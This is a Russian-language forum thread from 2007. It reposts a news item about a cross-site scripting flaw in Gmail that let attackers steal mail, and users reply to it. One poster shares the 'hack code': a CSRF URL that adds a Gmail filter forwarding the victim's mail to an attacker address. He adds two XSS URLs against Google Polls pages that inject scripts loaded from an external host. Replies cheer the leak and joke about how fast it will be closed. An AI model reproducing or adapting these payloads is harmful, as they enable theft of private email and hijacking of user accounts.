Новая уязвимость в сервисах Google: кража писем из Gmail

27.09.07, Чт, 14:04, Мск
_http://internet.cnews.ru/news/line/index.shtml?2007/09/27/267960

В дополнение к трем уязвимостям(я выкладывал новость вчера, но ее удалили...) в продуктах и сервисах Google – Groups, поисковой машине и Picasa, обнаруженным на этой неделе, в среду, 26 сентября, в системе сервисов портала найдена еще одна. Уязвимость позволяет похитить письма из ящика Gmail.

Уязвимость обнаружил исследователь GNU Citizen Петко Петков (Petko D. Petkov), сообщает The Register. Она, как и три вышеупомянутые, относится к классу межсайтового скриптинга (CSS/XSS). При переходе по URL, содержащему JavaScript-код в значении одного из параметров вызова веб-страницы, этот код выполняется на самой странице от имени сайта, к которому обратился пользователь. Подобные уязвимости вызваны отсутствием проверки содержимого параметров перед тем, как вывести его на веб-страницу. Надежно написанные веб-приложения отсеивают HTML-тэги, включая JavaScript.

Обычно при помощи CSS/XSS крадут куки с данными об авторизации или подгружают файлы, которые пользователь запустит, доверяя уязвимому сайту. В случае с Gmail злоумышленник может при помощи кода добавить в учетную запись фильтр, копирующий письма по указанному адресу. Для того чтобы уязвимость можно было использовать, в браузере жертвы должен быть открыт почтовый ящик Gmail.

 

и мне плз потому что сдеть сотрут если еще напишешь(

 

это лишь новость, опубликованная в СМИ
все подробности и ссылки лишь у

 

Угу так и он что то кому то скажет .

 

угу...именно это и имел ввиду)

 

Code:

http://www.gnucitizen.org/util/csrf?_method=POST&_enctype=multipart/form-data&_action=https%3A//mail.google.com/mail/h/ewt1jmuj4ddv/%3Fv%3Dprf&cf2_emc=true&[email protected]&cf1_from&cf1_to&cf1_subj&cf1_has&cf1_hasnot&cf1_attach=true&tfi&s=z&irf=on&nvp_bu_cftb=Create%20Filter

вот и сам хэк код кстати говоря)

и ещё парочка, которые выложили раньше, но из-за непопулярности блога никто ничё незаметил)

Code:

http://mail.google.com/reviews/polls/display/159769971366811755/blogger_template/vote?purl=url.blogspot.com%2F&chrtclr=%23599be2&hideq=false&font=normal+normal+100%25+Helvetica%2CArial%2CVerdana%2C%20Trebuchet+MS%20%2C+Sans-serif&u_tz=%22%3E%3Cscript+src%3Dhttp://beford.org/stuff/prototype.js%3E%3C/script%3E%3Cscript+src%3Dhttp://beford.org/stuff/x2.js%3E%3C/script%3E%3Cnoscript%3E/

Code:

http://groups.google.com/reviews/polls/display/159769971366811755/blogger_template/vote?purl=blogspot.com%2F&chrtclr=%23599be2&hideq=false&font=normal+normal+100%25+Helvetica%2CArial%2CVerdana%2C%20Trebuchet+MS%20%2C+Sans-serif&u_tz=%22%3E%3Cscript+src%3Dhttp://beford.org/stuff/x.js%3E%3C/script%3E%3Cnoscript%3E/

 

Хааа....Тоха респект....Новость интересная +) Репа..

 

гг.. засекаем время когда закроют )